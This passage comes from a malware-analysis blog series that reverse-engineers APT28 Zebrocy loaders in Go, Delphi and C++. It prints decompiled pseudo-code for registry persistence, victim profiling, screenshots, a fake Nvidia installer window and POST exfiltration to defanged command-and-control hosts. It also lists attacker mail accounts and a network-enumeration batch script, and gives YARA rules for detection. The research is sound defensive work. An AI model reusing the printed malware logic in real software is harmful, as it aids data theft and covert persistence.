Count = strlen(keyString)-1;
while(1)
{
inByte = getc(inFile);
if(feof(inFile)) break;
if(!Count) Count = (strlen(keyString) - 1);
outByte = XOR(inByte, (unsigned char)keyString[Count]);
Count--;
fputc((int)outByte, outFile);
}
}

IV. "dec_15875.exe" wget Binary
The decoded utility is simply a "wget" binary, which is used for clientserver communications.

V. Yara Signature

rule apt_win32_gamaredon_pteranodon_initial_sfx {
meta:
author = "@VK_Intel"
reference = "Detects Gamaredon Group Pteranodon Implant"
date = "2018-12-27"
type = "experimental"
strings:
$s0 = "cryptcp.exe" fullword wide
$s1 = "SFX module - Copyright (c) 2005-2012 Oleg Scherbakov" fullword ascii
$s2 = "7-Zip archiver - Copyright (c) 1999-2011 Igor Pavlov" fullword ascii
$s3 = "RunProgram=\"hidcon" fullword ascii
$s4 = "7-Zip - Copyright (c) 1999-2011 " fullword ascii
$s5 = "sfxelevation" fullword wide
$s6 = "Error in command line:" fullword ascii
$s7 = "%X - %03X - %03X - %03X - %03X" fullword wide
$s8 = "- Copyright (c) 2005-2012 " fullword ascii
$s9 = "Supported methods and filters, build options:" fullword ascii
$s10 = "Could not overwrite file \"%s\"." fullword ascii
$s11 = "7-Zip: Internal error, code 0x%08X." fullword ascii
$s12 = "@ (%d%s)" fullword wide
$s13 = "SfxVarCmdLine0" fullword wide
$s14 = "SfxVarCmdLine1" fullword wide
$s15 = "SfxVarCmdLine2" fullword wide
      $cmd = ".cmd" fullword wide

condition: ( uint16(0) == 0x5a4d and filesize < 2000KB and 14 of them and $cmd) }

Let’s Learn: In-Depth on APT28/Sofacy Zebrocy Golang Loader

Goal: Reverse engineer the latest APT28/Sofacy Zebrocy loader, coded in the Go programming language, oftentimes referred to Golang.

https://platform.twitter.com/widgets.js
Source:
UPX-packed APT28/Sofacy Zebrocy Loader (MD5: 602d2901d55c2720f955503456ac2f68)
Outline:

I. Background & Summary
II. Zebrocy main* Functions
A. main_init
B. main_main
C. main_Parse
III. Yara Signature

Analysis:
I. Background & Summary
Palo Alto Unit 42 recently discovered and reported one of the latest Sofacy/APT28 group’s Zebrocy samples, compiled in the Golang programming language. This group is also known as Fancy Bear, STRONTIUM, Pawn Storm, and Sednit. 
I recommend reading research by Robert Falcone and Unit 42 titled “Sofacy Creates New ‘Go’ Variant of Zebrocy Tool.” This new twist of leveraging Golang for malware compilation complicates binary analysis and comparison across other samples as the group deploys quite a bit with programming languages such as Delphi and C#.
By and large, analysis reveals that this  Zebrocy version is unsophisticated and heavily relies on various Golang open source code templates from GitHub including iamacarpet/go_win64api (ProcessList, InstalledSoftwareList, ListLoggedInUsers,SessionDetails/FullUser), shirou_gopsutil (host_Info), and kbinani/screenshot (NumActiveDisplays, GetDisplayBounds, CaptureRect). The malware capabilities include installation in HKCU registry as “Media Center Extender Service” and locally in %LOCALAPPDATA%, execution via “cmd”, profiling a victim system, obtaining desktop screenshots, and sending the data to the server. The original Golang Zebrocy project contains the following debugging path “C:/!Project/C1/ProjectC1Dec/main.go” with the “ProjectC1Dec” name.
Thanks to the released Golang IDA code script helpers, developed by George Zaytsev, this malware introduced an interesting angle allowing to dive deeper into reversing of this Zebrocy Golang loader. 
II. Zebrocy main* Functions
Essentially, Zebrocy Golang loader is, by and large, a slightly modified copy/paste code from GitHub related to various open source Golang libraries. For example, the open source Golang code to retrieve a list of loggedInUsers is as follows: 

package main

import (
"fmt"
wapi "github.com/iamacarpet/go-win64api"
)

func main(){
// This check runs best as NT AUTHORITY\SYSTEM
//
// Running as a normal or even elevated user,
// we can't properly detect who is an admin or not.
//
// This is because we require TOKEN_DUPLICATE permission,
// which we don't seem to have otherwise (Win10).
users, err := wapi.ListLoggedInUsers()
if err != nil {
fmt.Printf("Error fetching user session list.\r\n")
return
}

fmt.Printf("Users currently logged in (Admin check doesn't work for AD Accounts):\r\n")
for _, u := range users {
fmt.Printf("\t%-50s - Local User: %-5t - Local Admin: %t\r\n", \
u.FullUser(), u.LocalUser, u.LocalAdmin)
}
}

This same code is copied and embedded as part of the malware main_Session_List routine as observed in pseudo-code.

The Golang version of the malware consists of the following 16 main_* named functions and their detailed descriptions:

Golang Function Name Description
main_GetDisk get disk via “cmd”
main_Getfilename obtain path to “%LOCALAPPDATA%\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}\wcncsvc.exe”
main_CMDRunAndExit execute a file and exit via “cmd”
main_Tasklist retrieve process list via iamacarpet/go_win64api/ProcessList method
main_Installed retrieve installed software via iamacarpet_go_win64api_InstalledSoftwareList method
main_Session_List retrieve active session list (logged in users + Run-As users) via iamacarpet/go_win64api/ListLoggedInUsers method
main_List_Local_Users retrieve a formatted list of local users via theListLocalUsers method
main_systeminformation retrieve host information via shirou/gopsutil/host_Info method
main_CreateSysinfo concatenate and format all the victim data from main_Tasklist, main_GetDisk, time_time_Now, main_Installed, main_Session_List, main_List_Local_Users, and time_Time_Format.
main_ParseData call main_Getfilename and create a copy of itself in %LOCALAPPDATA% and creates a registry key via cmd “reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Media Center Extender Service,/d”
main_SendPOSTRequests send a server POST request, call time_Sleep(4230196224, 6) and if after 19 attempts, exits via os.exit, otherwise call main_main, then main_ParseData, and main_ParseData, main_CMDRunAndExit.
main_Screen take a screenshot of the desktop
main_GetSND get stdin from “cmd”
main_PrcName get path to itself process
main_main run the main function of the Golang Zebrocy
main_init initialize main structures necessary for Golang malware execution

A. main_init
The malware starts with initializes various libraries necessary for Golang execution (net, encoding, regular expressions, and necessary reliant GitHub project libraries). The C++ pseudo-coded Golang malware routine is as follows:

//////////////////////////////////////////
////// APT28 Golang Zebrocy main_init ////
//////////////////////////////////////////

int main_init()
{

if ( (unsigned int)&_0 <= *(_DWORD *)(*(_DWORD *)__readfsdword(20) + 8) )
runtime_morestack_noctxt();
result = (unsigned __int8)byte_8625A6;
if ( (unsigned __int8)byte_8625A6 <= 1u )
{
if ( byte_8625A6 == 1 )
runtime_throwinit();
byte_8625A6 = 1;
bytes_init();
encoding_hex_init(); // hex_encode init
fmt_init(); // fmt init
image_jpeg_init(); // image jpeg init
io_ioutil_init(); // io util
net_http_init(); // http util
net_url_init(); // net url
os_init(); // os init
os_exec_init(); // os exec init
path_filepath_init(); // file path init
regexp_init(); // regular expressions oinit
strings_init(); // string init
syscall_init(); // syscall init
time_init(); // timer init
github_com_iamacarpet_go_win64api_init(); // golang enumerate lib
github_com_kbinani_screenshot_init(); // golang screenshot lib
result = github_com_shirou_gopsutil_host_init(); // go host enum lib
byte_8625A6 = 2;
}
return result;
}

B. main_main
The main_main function calls initialize other important main calls
retrieving the path to the process of itself, obtaining cmd stdin output, retrieving system information, making a screenshot, and sending POST requests to the main command-and-control server.
The pseudo-coded C++ code is as follows:

//////////////////////////////////////////
////// APT28 Golang Zebrocy main_main ////
//////////////////////////////////////////
int main_main()
{

...

if ( (unsigned int)&retaddr <= *(_DWORD *)(*(_DWORD *)__readfsdword(20) + 8) )
runtime_morestack_noctxt();
main_PrcName(); // get path to itself
strings_Contains(v1, v3, &byte_66EE33, 6); // "comsvccookie"
if ( v5 )
{
// get Cmd_Stdin pipe
main_GetSND(v10, v12);
v1 = v0;
v3 = v2;
// retrieve system info
main_CreateSysinfo();
v4 = v0;
v5 = v2;
// retrieve screenshot
main_Screen(v2, v0);
// "hxxp://89[.]37[.]226[.]123/advance/portable_version/service[.]php"
result = main_SendPOSTRequests((int)domain, 57, v2, v4, v2, v4, v2, v4);
}
else
{
result = main_SendPOSTRequests(
(int)&word_673186, // http://google.comif-modified-since
17,
(int)"01456:;?@BCLMNOPSZ[\"\\\n\r\t",
1,
(int)"1456:;?@BCLMNOPSZ[\"\\\n\r\t",
1,
(int)"1456:;?@BCLMNOPSZ[\"\\\n\r\t",
1);
}
return result;
}

C. main_Parse
The main_Parse function serves as the main persistency script writing the binary to %LOCALAPPDATA% and adding itself to HKCU\Software\Microsoft\Windows\CurrentVersion\Run as “Media Center Extender Service.”

//////////////////////////////////////////
////// APT28 Golang Zebrocy main_ParseData ////
//////////////////////////////////////////
int __cdecl main_ParseData(int a1, int a2)
{

// Get %LOCALAPPDA% new file path
//"%LOCALAPPDATA%\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}\wcncsvc.exe"
main_Getfilename();
v24 = v2;
v25 = v3;
os_Create(v3, v2);
if ( runtime_deferproc(12, off_68613C) )
{
result = runtime_deferreturn(v11);
}
else
{
// Write itself to the specified path
io_ioutil_WriteFile(v25, v24, v14, v17, v18, 420, v21);
((void (*)(void))loc_44CDC8)();
v30 = v25;
v31 = v24;
os_exec_Command((int)&cmd, 3, (int)&v29, 2, 2);
runtime_newobject(obj_byte);
*v12 = 1;
v4 = v19;
v5 = *(_BYTE *)v19;
if ( dword_862D30 )
runtime_gcWriteBarrier(v19);
else
*(_DWORD *)(v19 + 76) = v12;
os_exec__ptr_Cmd_Run(v4, v12, v15);
((void (*)(void))loc_44CDC8)();
// "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run
// /v Media Center Extender Service /d"
runtime_concatstring3(0, (unsigned int)dword_682308, 96, v25, v24, &word_66E71E, 4, v22);
v27 = v6;
v28 = v23;
os_exec_Command((int)&cmd, 3, (int)&v26, 2, 2);
runtime_newobject(obj_byte);
*v13 = 1;
v7 = v20;
v8 = *(_BYTE *)v20;
if ( dword_862D30 )
runtime_gcWriteBarrier(v20);
...
}

III. Yara Signature

rule apt28_win_zebrocy_golang_loader {
meta:
description = "Detects unpacked APT28/Sofacy Zebrocy Golang."
author = "@VK_Intel"
date = "2018-12-21"
hash = "15a866c3c18046022a810aa97eaf2e20f942b8293b9cb6b4d5fb7746242c25b7"
strings:

// main_init
$x0 = {6d 61 69 6e 2e 69 6e 69 74}

// main_main
$x1 = {6D 61 69 6e 2e 6d 61 69 6e}

// main_Parse
$x2 = {6d 61 69 6e 2e 50 61 72 73 65 44 61 74 61}

// main.GetSND
$x3 = {6d 61 69 6e 2e 47 65 74 53 4e 44}

// main.PrcName
$x4 = {6d 61 69 6e 2e 50 72 63 4e 61 6d 65}

condition:
( uint16(0) == 0x5a4d and
( 4 of ($x*) )
)
}

Let’s Learn: Dissecting APT28 Zebrocy Delphi Loader/Backdoor Variants: Version 6.02 -> Version 7.00

Goal: Analyze and document the progression of APT28 Zebrocy Delphi loader/backdoor variants from 6.02 to 7.00.

https://platform.twitter.com/widgets.js
Source:

MD5: Zebrocy Delphi Variant First Seen
84352ccad3cfa152d98cf76b08623b92 2018-12-11 13:14:34
fe0da70a592d25ddbfbd47b22f88542f 2018-12-13 11:49:12
4384c701308a9d3aa92f49615ec74b2d 2018-06-26 14:08:28
26b213343bac2b4c69a261a2f5c00e89 2018-12-13 11:49:32
47a026d93ae8e0cc292e8d7a71ddc89e 2018-12-13 11:49:31

Outline:

I. Background & Summary
II. Zebrocy Delphi Malware: Version 6.02
III. Zebrocy Delphi Malware: Version 7.00
IV. Zebrocy TForm1 Configurations
IV. Yara Signature

I. Background & Summary
APT28, also known as Sofacy, Fancy Bear, STRONTIUM, Pawn Storm, Sednit, continues to be very active lately targeting various government and political entities throughout 2018. Before diving deeper into the latest Zebrocy samples, I highly recommend reading ESET blog titled “Sednit: What’s going on with Zebrocy?” and Palo Alto Unit 42 one titled “Dear Joohn: The Sofacy Group’s Global Campaign.”
The Zebrocy Delphi variants serve as loaders and backdoors collecting victim information. They are occasionally UPX packed, store their configurations data in the resource section “RCData” as “TForm1” class. As a general rule, forms in Delphi are defined by the TForm class. The analyzed samples revealed malware version progression from 6.02 to 7.0 with the modified Timer objects and registry key and software information collection methods to scanning hosts for documents, archives, images, database, and configurations files.
Additionally, one of the oddities includes the hexadecimal art representation in Icon.Data object of TForm1.

The Python code obtains the resource as follows:

'''
Extract APT28 Zebrocy TForm1 Delphi Code from binary resource section
@VK_Intel
'''
import pefile
pe = pefile.PE("<PATH_TO_ZEBROCY")

# store our tform1_struct
tform1_struct = ""
offset = 0x0
size = 0x0

for rsrc in pe.DIRECTORY_ENTRY_RESOURCE.entries:
for entry in rsrc.directory.entries:
if entry.name is not None:
print(entry.name)
# search for TFORM1 resource
if entry.name.__str__() == "TFORM1":
offset = entry.directory.entries[0].data.struct.OffsetToData
size = entry.directory.entries[0].data.struct.Size


tform1_struct = pe.get_memory_mapped_image()[offset:offset+size]
print(tform1_struct)

The code output response is as follows:

DVCLAL
L30
LIBEAY32
PACKAGEINFO
PLATFORMTARGETS
SSLEAY32
TFORM1
MAINICON
b'TPF0\x06TForm1\x05Form1\x04Left\x02\x00\x03Top\x02\x00\x0cClientHeight\x03\x7f\x01\x0bClientWidth\x03\xc9\x01\x05Color\x07\tclBtnFace\x0cFont.Charset\x07\x0fDEFAULT_CHARSET...

Notably, the configuration contains all imported necessary SSL libraries LIBEAY32 and SSLEAY32, DVCLAL and L30 config, package info (contains Windows API utility code), and, most importantly, TForm1 Delphi main code.
The TForm1 resource is the main processor for the Window setting and creating objects TLabel, TEdit, and TMemo, which are descriptive of the malware functionality.
II. Zebrocy Delphi Malware: Version 6.0.2

For example, here is the code setting the Window and creating main victim collection and keylogger functionality and possible network domain parser module, taken from Zebrocy version 6.02
(0a6c1db916ac8ddf0ef67196279e12d163e07969d9cc68c0aed6b63d11f76d6c):

///////////////////////////////////////////////////
////// APT28 Zebrocy Malware TForm1 Class /////////
///////////////////////////////////////////////////
object Form1: TForm1
Left = 0
Top = 0
ClientHeight = 358
ClientWidth = 509
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object c: TLabel
Left = 428
Top = 232
Width = 38
Height = 13
Caption = 'KEYLOG' // keylogger object
end
object Label2: TLabel
Left = 417
Top = 197
Width = 49
Height = 13
Caption = 'SYS_INFO' // machine system info object
end
object Memo3: TMemo
Left = 0
Top = 179
Width = 445
Height = 179 // network domain collector and parser object
Lines.Strings = (
'@ECHO OFF'
'FOR /F "tokens=1 delims=\ " %%n IN ('#39'net view^|FIND "\\"'#39') DO ('

' FOR /F "tokens=2 delims=[]" %%i IN ('#39'ping -a -n 1 -w 0 %%n^|FI' +
'ND "["'#39') DO ('
' ECHO %%i %%n>>1.txt'

' FOR /F "tokens=1,2,3,4 delims= " %%a IN ('#39'net view \\%%n^|FI' +
'ND " "'#39') DO ('
' IF "%%b"=="Disk" ('
' ECHO %%b: \\%%n\%%a>>1.txt'
' ) ELSE ('

' IF "%%b"=="Print" ECHO %%b: \\%%n\%%a>>1.t' +
'xt'
' )'
' )'
' )'
')')
TabOrder = 17
Visible = False
end

The malware drops a batch script to collect network domain information and saving it locally for exfiltration.

The observed TTimer timer objects (Enabled, OnTimer, Interval Parameters) code is as follows:

///////////////////////////////////////////////////
/// APT28 Zebrocy Malware Delphi Timer Class //////
///////////////////////////////////////////////////
object Timer_post: TTimer
Enabled = False
OnTimer = Timer_postTimer
Left = 144
end
object Timer_hello: TTimer
Enabled = False
Interval = 900000 // 900 seconds or 15 minutes interval
OnTimer = Timer_helloTimer
Left = 208
end
object Timer_scan: TTimer
Enabled = False
OnTimer = Timer_scanTimer
Left = 272
end
object Timer_all: TTimer
Enabled = False
Interval = 6000 // 6 seconds interval
OnTimer = Timer_allTimer
Left = 328
end

The all observed unique timer objects are as follows:

Timer_FirstTimer -> Interval 5000 miliseconds
Timer_handlTimer -> Interval 5000 miliseconds
Timer_SCRTimer -> Interval 60000 miliseconds
Timer_keyTimer -> Interval 120000 miliseconds
Timer_dsetTimer -> Interval 10000 miliseconds
Timer_mainTimer -> Interval 60000 miliseconds
Timer_allTimer -> Interval 6000 miliseconds
Timer_helloTimer -> Interval 900000 miliseconds
Timer_postTimer
Timer_scanTimer
Timer_lodsbTimer
Timer_downlTimer
Timer_regTimer
Timer_uplTimer
Timer_LogsTimer
Timer_DelTimer
Timer_SCRLDTimer

The POP3/SMTP mechanism is as follows:

///////////////////////////////////////////////////
/// APT28 Zebrocy Delphi SMTP/POP3/SSL Class //////
///////////////////////////////////////////////////
object IdPOP31: TIdPOP3
AutoLogin = True
SASLMechanisms =
Left = 272
Top = 112
end
object IdSMTP1: TIdSMTP
SASLMechanisms =
Left = 328
Top = 112
end
object IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL
MaxLineAction = maException
Port = 0
DefaultPort = 0
SSLOptions.Mode = sslmUnassigned
SSLOptions.VerifyMode = []
SSLOptions.VerifyDepth = 0
Left = 272
Top = 168
end
end

III. Zebrocy Delphi Malware: Version 7.00
Zebrocy Version 7.0
(SHA-256: 215f7c08c2e3ef5835c7ebc9a329b04b8d5215773b7ebfc9fd755d93451ce1ae):

The latest malware version includes the TLab scan object scanning for Microsoft Word, Microsoft Excel, Microsoft PowerPoint, PDF, archives (.rar, .zip) and image files (.jpg, bmp, tiff). Additionally, it also parses for configuration and database files (e.g,, .dat, .json, .db).

///////////////////////////////////////////////////
/// APT28 Zebrocy Delphi Special File Searcher ////
///////////////////////////////////////////////////
object scan1: TLabel
Left = 8
Top = 8
Width = 154
Height = 13
// Scanner for documents
Caption = 'scan {all} *.docx, *.xlsx, *.pdf,' // Scan for MS Word, Excel, PDF
end
object scan2: TLabel
Left = 168
Top = 8
Width = 129
Height = 13
 // Scanner for documents, archives, & images

Caption = '*.pptx, *.rar, *.zip, *.jpg,' // Scan for Powerpoint, archive, JPG imageendobject scan3: TLabel Left = 8 Top = 27 Width = 68 Height = 13 // Scanner for images Caption = '*.bmp, *.tiff /' // Scan for BMP and TIFF imageend... object Label3: TLabel Left = 8 Top = 46 Width = 147 Height = 13 // Scanner for configurations and database files Caption = 'scan {all} *.dat, *.json, *.db /' // Scan for .DAT, .JSON, .db end...

Additionally, it adds the key in “HKCU\Environment\UserInitMprLogonScript” as itself for persistency.

///////////////////////////////////////////////////
/// APT28 Zebrocy Delphi HKCU Registry Persistr ///
///////////////////////////////////////////////////
object Button2: TButton
Left = 309
Top = 3
Width = 122
Height = 25
Caption = 'HKCU\Environment'
TabOrder = 6
end
object Button3: TButton
Left = 310
Top = 34
Width = 122
Height = 25
Caption = 'UserInitMprLogonScript'
Tab

The all observed unique Timer objects are as follows (TTimer Timer Objects (Enabled, OnTimer, Interval parameters):

Timer_FirstTimer -> Interval 5000 miliseconds
Timer_taskTimer -> Interval 90000 miliseconds
Timer_sendTimer -> Interval 120000 miliseconds
Timer_SCRTimer -> Interval 120000 miliseconds
Timer_OTimer -> Interval 28800000 miliseconds
Timer_postTimer
Timer_mainTimer

The observed mail companies used for command-and-cotrol communications and exfiltration:

Leveraged Mail Servers:
ambcomission[.]com
seznam[.]cz
post[.]cz
india[.]com
Email Accounts:
tomasso25@ambcomission[.]com
kevin30@ambcomission[.]com
salah444@ambcomission[.]com
rishit333@ambcomission[.]com
karakos3232@seznam[.]cz
antony.miloshevich128@seznam[.]cz
b.huacop11@india[.]com
trasler22@ambcomission[.]com
trash023@ambcomission[.]com

IV. Zebrocy TForm1 Configurations
A. Zebrocy v6.02 TForm1 Config
(SHA-256: 0a6c1db916ac8ddf0ef67196279e12d163e07969d9cc68c0aed6b63d11f76d6c):

KEYLOG
SYS_INFO
@ECHO OFF
FOR /F "tokens=1 delims=\ " %%n IN ('net view^|FIND "\\"')
DO (M FOR /F "tokens=2 delims=[]" %%i IN ('ping -a -n 1 -w 0 %%n^|FIND "["')
DO ( ECHO %%i %%n>>1.txt S FOR /F "tokens=1,2,3,4 delims= " %%a IN ('net view \\%%n^|FIND " "')
DO ( IF "%%b"=="Disk" (0 ECHO %%b: \\%%n\%%a>>1.txt )
ELSE (IF "%%b"=="Print"
ECHO %%b: \\%%n\%%a>>1.txt ) ) ))
ddr3
*\Software\Microsoft\Windows\CurrentVersion
C:\Users\Public\dset.ini
ProductId
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Run
libeay32.dll
ssleay32.dll
p.bin
v6.02
GET_NETWORK

B. Zebrocy v7.00 TForm1 Config
(SHA-256: 215f7c08c2e3ef5835c7ebc9a329b04b8d5215773b7ebfc9fd755d93451ce1ae):

KEYLOG
SYS_INFO
!scan {all} *.docx, *.xlsx, *.pdf, *.pptx, *.rar, *.zip, *.jpg, *.bmp, *.tiff /
adr_for_scan
C:\Users\Public\officeexcp.bin
KLA
C:\Users\Public\kla.bin
scan {all} *.dat, *.json, *.db /
eg add
EG_EXPAND
eg delete
GET_NETWORK
HKCU\Environment\UserInitMprLogonScript
v7.00
libeay32.dll
ssleay32.dll

C. Zebrocy v7.00 TForm1 Config 
(SHA-256: ae6326a8b0297dc6eff583f2305abaeab0347a3aef95fc51c5d76708cf32b73f)

SYS_INFO
eg add
EG_EXPAND
eg delete
C:\Users\Public\dset.ini
p.bin
v7.00
ssleay32.dll
libeay32.dll
C:\Users\Public\boot.ini
UserInitMprLogonScript
HKCU\Environment

One of the oddities related to the Zebrocy malware (SHA-256: ae6326a8b0297dc6eff583f2305abaeab0347a3aef95fc51c5d76708cf32b73f) includes Icon.Data {} object with the hexadecimal art.

V. Yara Signature 

rule apt28_win32_zebrocy_loader {
meta:
author = "@VK_Intel"
reference = "Detects Zebrocy Component"
date = "2018-12-14"
strings:
$s1 = "Timer_postTimer" fullword wide ascii
$s2 = "Timer_mainTimer" fullword ascii wide
$s3 = "Timer_FirstTimer" fullword ascii wide
$s4 = "UserInitMprLogonScript" fullword ascii wide
$s5 = "KEYLOG" fullword ascii wide
$s6 = "SYS_INFO" fullword ascii wide
$s7 = "EG_EXPAND" fullword ascii wide
$s8 = "HKCU\\Environment" fullword ascii wide
$s9 = "C:\\Users\\Public\\" fullword ascii wide
$s10 = "scan {all}" fullword ascii wide
      $r0 = "L30" fullword ascii wide
$r1 = "LIBEAY32" fullword ascii wide
$r2 = "TFORM1" fullword ascii wide
$r3 = "SSLEAY32" fullword ascii wide
$r4 = "DVCLAL" fullword ascii wide
$r5 = "PACKAGEINFO" fullword ascii wide
   condition:
( uint16(0) == 0x5a4d and
( all of them )
or ( 3 of ($s*) and 2 of ($r*) ) or ( all of ($r*) and 2 of ($s*) ) )

}

Let’s Learn: Reviewing Sofacy’s "Zebrocy" C++ Loader: Advanced Insight

GoalAnalyze and reverse engineer one of the “Zebrocy” C++ loader samples attributed to Sofacy/Sednit/APT28 group. By and large, Zebrocy is a widely-used first-stage loader in the recent campaigns (especially in its Delphi version). This loader was discovered and documented by Palo Alto Unit 42.

https://platform.twitter.com/widgets.js

Source:

Zebrocy Loader C++ x86 (32-bit) Version: bf0fea133818387cca7eaef5a52c0aed
Outline:

I. Background & Summary
II. Zebrocy Loader C++ x86 (32-bit) Version: WinMain function
A. Nvidia Setup Procedure
B. Zebrocy "MainCaller" Function
C. "EnterDecoder" Function
D. Zebrocy "recv" Processor: "-1" & "0009" Commands
E. Zebrocy Install and Execute Next Stage
III. Yara Signature
 I. Background & Summary
Sofacy’s “Zebrocy” loader appears to be popular for the past few years deployed by the group. I decided to take a look at the C++ version of the loader as it was documented by Palo Alto Unit 42 in order to review its functionality in-depth and document it, as well as, to create a Yara rule detection for it.
Before reading further, I recommend reviewing the article titled “Sofacy Group’s Parallel Attacks,” authored by Unit42. This article documents the discovery of this C++ loader. Reportedly, Unit42 retrieved this payload as a loader from another Zebrocy Delphi version, which first-stage was a “phishing email sent to a foreign affairs organization within a Central Asian country.”
It is notable that this loader was written in C++ with the apparent usage of header library, for example, for writing input/output as fwrite API.
The loader also mimics itself as “Nvidia” installer displaying the message “NVidiaSetup 98% comp” while displayed with 0x0 pixels in the bottom right corner. By and large, the loader is rather unpacked and rather unsophisticated; it deploys rather interesting transposition to hex to ASCII decoding routine and executing next stage via ShellExecuteA.
II. Zebrocy Loader C++ 32-bit (x86) Version: WinMain function

The loader, originally named “snvmse.exe,” essentially sets up a window with the procedure displaying the text “NVidiaSetup 98% comp” via BeginPaint, TextOutW, and EndPaint. The window class is titled “win32app” with the window name “Application_Win32” via CreateWindowExW. The Zebrocy malware creates a window in the bottom right with height 0x0 and width 0x0. 

The shortened WinMain C++ pseudo-coded function as follows:
//////////////////////////////////////////////////////////////
///////////////// Zebrocy WinMain Function ///////////////////
/////////////////////////////////////////////////////////////
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
v16.cbSize = 48;
v16.style = 3;
v16.lpfnWndProc = NvidiaSetupMsg; // Draw fake "Nvidia" install message
v16.cbClsExtra = 0;
v16.cbWndExtra = 0;
v16.hInstance = hInstance;
v16.hIcon = LoadIconW(hInstance, (LPCWSTR)0x7F00);
v16.hCursor = LoadCursorW(0, (LPCWSTR)0x7F00);
v16.hbrBackground = (HBRUSH)6;
v16.lpszMenuName = 0;
v16.lpszClassName = L"win32app";
v16.hIconSm = LoadIconW(hInstance, (LPCWSTR)0x7F00);
if ( !RegisterClassExW(&v16) )
return 1;
dword_42A84C = (int)hInstance;
GetVolumeInfoMain((int)&v23); // Retrieve serial number from disc "C:\\"
v17 = &v9;
GetComputerName((int)&v9); // Retrieve computer name
bit_func_Main_((int)&v19, v9, v10, v11, v12, v13, v14);
v15 = &Rect;
v4 = GetDesktopWindow();
GetWindowRect(v4, v15);
v5 = CreateWindowExW(
0x80088u, // dwExStyle =
// WS_EX_TOPMOST|WS_EX_TOOLWINDOW|WS_EX_LAYERED
L"win32app", // lpClassName
L"Application_Win32", // lpWindowName
0xCA0000u, // dwStyle
// WS_OVERLAPPED|WS_MINIMIZEBOX|WS_SYSMENU|WS_CAPTION
Rect.right, // X.right
Rect.bottom, // Y.bottom
0, // nWidth = 0
0, // nHeight = 0
0, // hWndParent = NULL
0, // hMenu = NULL
hInstance, // hInstance
0); // lpParam = NULL
v6 = v5;
if ( !v5 )
{
if ( v21 >= 16 )
val(v19);
v21 = 15;
v20 = 0;
LOBYTE(v19) = 0;
if ( v24 >= 16 )
val(v23);
return 1;
}
ShowWindow(v5, nShowCmd);
UpdateWindow(v6);
Sleep(3000u);
if ( ZebrocyMainCaller() == 1 )
{
KillTimer(v6, 1u);
PostQuitMessage(0);
}
while ( GetMessageW(&Msg, 0, 0, 0) )
{
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
}
v8 = Msg.wParam;
if ( v21 >= 0x10 )
val(v19);
v21 = 15;
v20 = 0;
LOBYTE(v19) = 0;
if ( v24 >= 16 )
val(v23);
return v8;
}

The machine ID is calculated via obtaining a serial number from GetVolumeInfoMain (with the label “C:\”) and the return of GetComputerName API.
A. Nvidia Setup Procedure
The so-called LRESULT “NvidiaSetupMsg” function leverages messages with timers to paint the text box leveraging BeginPaint, unicode TextOutW, and EndPaint and WM_PAINT message.

The shortened C++ pseudo-coded function is follows:
//////////////////////////////////////////////////////////////
//////////////// Zebrocy NvidiaSetupMsg Function ////////////
/////////////////////////////////////////////////////////////
LRESULT __stdcall NvidiaSetupMsg(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
qmemcpy(&NVidia, L"NVidiaSetup 98% comp", 42u);
if ( Msg > 15 ) // WM_PAINT = 15
{
if ( Msg != 275 ) // WM_TIMER = 275
return DefWindowProcW(hWnd, Msg, wParam, lParam);
if ( ZebrocyMainCaller() == 1 ) // Main Zebrocy Caller Function
{
KillTimer(hWnd, 1u);
LABEL_12:
PostQuitMessage(0);
return 0;
}
}
else if ( Msg == 15 ) // WM_PAINT = 15
{
v4 = BeginPaint(hWnd, &Paint);
TextOutW(v4, 5, 5, &NVidia, wcslen(&NVidia));
EndPaint(hWnd, &Paint);
}
else
{
if ( Msg != 1 ) // WM_CREATE = 1
{
if ( Msg == 2 ) // WM_DESTROY = 2
goto LABEL_12;
return DefWindowProcW(hWnd, Msg, wParam, lParam);
}
SetTimer(hWnd, 1u, 200000u, 0);
}
return 0;
}

B. Zebrocy “MainCaller” Function

The Zebrocy main caller function utilizes the Winsock API library to call the controller domain. It also contains the decoder and string processor functions.
The main function is as follows:

WSAStartup -> socket -> enter_decoder -> string_processor -> decoder 
-> WSACleanup -> inet_addr -> htons -> connect -> enter_decoder -> send 
-> closesocket -> shutdown -> recv -> Sleep

C. Zebrocy “EnterDecoder” Function

The Zebrocy malware leverages two functions to process and decoding encoded “[@A-Z]” blobs.
The full decoded blobs are as follows:
str_processor((int)&encoded_value, "CCICUB@CECUBECBCUBECHCAC", 24u);
// 185[.]25[.]50[.]93
str_processor((int)&encoded_value, "@BQCHFDGGFUFEFSDTBDGUFEFDGUFVFCDUFSEBGSEDFEFDFVFCFUFEFSFBGEGTBTFBGVFFFTBGGGGGGTBHGVBUFVFIFDGAFCFIFSF@G@GAF@BQCEF@GIGDETBDGUFEFDGUFVFCDUFSEBGSECCICUB@CECUBECBCUBECHCAC@BQCDGCGVFHDUFSEBGSEACUBACVB@EDEDEHD@B@GHF@GUBSFVFCFVFDGVFBG@GVBEGBCACHCHCDFRFVB@GSFEFHFCGIGCGVBCCICUB@CECUBECBCUBECHCACVBVBQC@GDGDGHF@BDECEVD@E", 310u);
/*POST hxxp://185[.]25[.]50[.]93/syshelp/kd8812u/protocol[.]php\n
Host: 185[.]25[.]50[.]93\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:
*/
str_processor((int)&encoded_value, "TCGFBGVF@G", 10u);
// porg=
processor((int)&encoded_value, "@BQCHFDGGFUFEFSDTBDGUFEFDGUFVFCD");
// "Content-Length: "

Their decoding works as by transposing the encoded blob, then converting it into hex and decoding hex into ASCII.
For example, we can confirm the hex decoding routine as follows:

>>> "3138352E32352E35302E3933".decode("hex") # defanged
'185[.]25[.]50[.]93'

The simplified transposition preparing the conversion to hex is pseudo-coded as follows:

